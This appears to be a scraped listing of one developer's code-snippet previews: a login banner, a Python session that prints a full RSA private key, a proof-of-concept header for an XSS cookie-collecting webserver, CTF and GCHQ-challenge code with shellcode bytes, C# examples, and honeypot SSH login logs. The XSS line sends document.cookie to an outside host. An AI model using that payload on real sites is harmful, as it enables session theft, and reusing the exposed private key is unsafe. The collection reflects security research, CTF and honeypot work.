johnnykv

```
Welcome to Ubuntu 12.04.2 LTS (GNU/Linux 3.2.0-34-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Tue Jun 11 20:31:28 CEST 2013

  System load:  0.0                 Processes:           84
  Usage of /:   25.4% of 287.52GB   Users logged in:     0
  Memory usage: 36%                 IP address for eth0: 192.168.1.112

johnnykv

>>> from Crypto.PublicKey import RSA
>>> priv  = RSA.generate(1024)
>>> pub = priv.publickey()
>>> private.exportKey()
>>> priv.exportKey()
'-----BEGIN RSA PRIVATE KEY-----\nMIICXAIBAAKBgQC5vthVta88yjHHkF3Q7s4XHZMaV5A0/6mc6aXu53Hrud8oKqsM\nikXs3ounhWlkdhNpzs2VArAn1BCyAQz9sJk4efz9j5SmWRFaYTVemchtsBUVfT6D\nJvCa2e7YfORzaFsmBgfUVW/o7U4iOkAKdUWSUZ+U9Lz/mKr9RqOJ8GHaHQIDAQAB\nAoGBAIeTwZxuDQa2HzenLJNAe7VrpN/pYh0NL+SUtsV2sjR5a2WKH2f71aZbmlwg\niRkHBoyIoo5Nc/7eT4FeOvlBWdQbmMvDvRpXmykq9HGcGqAUMhGDesNvwag/V+C3\nU07s0b1HxCup2EoqkJuDLr/R9N2lgIjunUCnUPTZg5rouBWRAkEAxoEZmFjykB8z\neYCVjmgCrbqXZF4yTmORNpMC3CYquYuPPGNsfZPjEI2lN5lLRqkguSiWrRorTB/v\nUVU0hBbWnwJBAO+LsR9dntL/uDNvBMP8GzZRIPiCFx7dhqWFJg5olO6ZP4beHtuV\nnfClJCG+K7sDMmmSriN4BTA2u8l2jd7CQcMCQCMFH6ja+GAowQIMh1YKT36qzo6s\nd5+QvUutf/Gq4hq93lU/DSLSdlqzQpSefMNIjzdbS8naNg1GDQiCSbOL++0CQHuX\nMjKBphEtGMeIrwfDCfMzVnSBAhbNqsu5b9IdSUH1VV5rObaHci6XtZWnPX7GfnsT\nz77DDMI8axTdkwLsbOsCQDN7OwUyaY3U70BsCmxImiHwnoXOR/37R98F9T7oS/Wt\nKm/Rwam13p76eHFpp2eHklcYYo23NMi03gCggnflVHM=\n-----END RSA

johnnykv

#Johnny Vestergaard - 2012
#jkv@unixcluster.dk
#POC: Webserver accepting cookies gathered from a website using XSS.
#requires Python 2.7
#
#Expected input is a GET request containing document.cookie, example:
# /PHPSESSID=mu7kbumqj7d4qf5ug3h7n89gs4;%20acopendivids=phpbb2,redmine;%20acgroupswithpersist=nada
#
#javescript used in the example:
#<script>javascript:img=new Image();img.src="http://10.0.0.20/"+document.cookie;</script>

johnnykv

//Johnny Vestergaard - 2011
//jkv@unixcluster.dk

Pipal (http://www.digininja.org/projects/pipal.php) stats from my honeypot which has been collecting credentials on SSH, Imap, Pop3 and telnet attacks since August 2011.


---- START ----
Total entries = 232177
Total unique entries = 34455

johnnykv

//Johnny Vestergaard - 2011
//jkv@unixcluster.dk
//A bit of help to the GCHQ challenge...

#include <stdio.h>

//Nedenstående er hex koderne fra http://canyoucrackit.co.uk - som viste sig primært(hint: og hvad ellers?!?!) at være assembler instruktioner.
char gchqFunc[] = "\xeb\x04\xaf\xc2\xbf\xa3\x81\xec\x00\x01\x00\x00\x31\xc9\x88\x0c\x0c\xfe\xc1\x75\xf9\x31\xc0\xba\xef\xbe\xad\xde\x02\x04\x0c\x00\xd0\xc1\xca\x08\x8a\x1c\x0c\x8a\x3c\x04\x88\x1c\x04\x88\x3c\x0c\xfe\xc1\x75\xe8\xe9\x5c\x00\x00\x00\x89\xe3\x81\xc3\x04\x00\x00\x00\x5c\x58\x3d\x41\x41\x41\x41\x75\x43\x58\x3d\x42\x42\x42\x42\x75\x3b\x5a\x89\xd1\x89\xe6\x89\xdf\x29\xcf\xf3\xa4\x89\xde\x89\xd1\x89\xdf\x29\xcf\x31\xc0\x31\xdb\x31\xd2\xfe\xc0\x02\x1c\x06\x8a\x14\x06\x8a\x34\x1e\x88\x34\x06\x88\x14\x1e\x00\xf2\x30\xf6\x8a\x1c\x16\x8a\x17\x30\xda\x88\x17\x47\x49\x75\xde\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\x90\x90\xe8\x9d\xff\xff\xff\x41\x41\x41\x41";
//pssst: Der mangler vist noget i ovenstående... Tjek hvorfor ovenstående koden springer i int 0x80 med 0x0

johnnykv

#Johnny Vestergaard - 2011
#jkv@unixcluster.dk
#Implementation of the pathfinding (http://en.wikipedia.org/wiki/Pathfinding) algorithm to solve
#the 2011 Prosa CTF AMazeing Steganography challenge.

from PIL import Image
import cProfile
import signal
import pdb
from numpy import zeros

johnnykv

//Johnny Vestergaard - 2011
//jkv@unixcluster.dk
//Automates the process of prefixing a byte array with length before transmitting.
//The length is sent as a fixed sized integer.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Sockets;

johnnykv

//Johnny Vestergaard - 2011
//C# events

   class Program
    {
        static void Main(string[] args)
        {
            //Opret ny instans af yawningcat
            YawningCat yawningCat = new YawningCat();
            

johnnykv

//Johnny Vestergaard - 2011
// Simpel BigInt implementation i C#

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Diagnostics;

namespace tmpOperatorOverload

johnnykv

2011-07-15 20:15:35,049;338b5dab-78d6-45c4-b7fc-669ce77a3fa3;SSH;202.91.241.245;45452;"root";"123456"
2011-07-15 20:15:37,283;10d57bd3-94ea-4446-80ba-542232c68c31;SSH;202.91.241.245;45551;"root";"123456789"
2011-07-15 20:15:39,486;dc0ebb5b-98fe-4fd1-be0d-d09dfae43870;SSH;202.91.241.245;45627;"root";"12345678"
2011-07-15 20:15:41,685;c389bd0e-4409-4033-a95a-d5e66251cffe;SSH;202.91.241.245;45716;"root";"654321"
2011-07-15 20:15:43,783;1c58b798-483d-411c-a0df-ee3e7af2602b;SSH;202.91.241.245;45804;"root";"1qaz2wsx"
2011-07-15 20:15:45,987;054138a5-8d4c-4012-890d-0e3e747f7ddc;SSH;202.91.241.245;45872;"root";"1qazxsw2"
2011-07-15 20:15:48,077;16128c21-dbd9-409a-9cf1-347c8805e4f6;SSH;202.91.241.245;45959;"root";"111111"
2011-07-15 20:15:50,341;7c4cb3a0-edbe-421b-b3d4-69561fcb1c4c;SSH;202.91.241.245;46034;"root";"000000"
2011-07-15 20:15:52,546;0bf5a8a7-a937-4462-987d-551cc3b03edf;SSH;202.91.241.245;46121;"root";"redhat"
2011-07-15 20:15:54,739;dc20f2a5-ed62-44e1-9fb5-92fde90d3728;SSH;202.91.241.245;46199;"root";"roo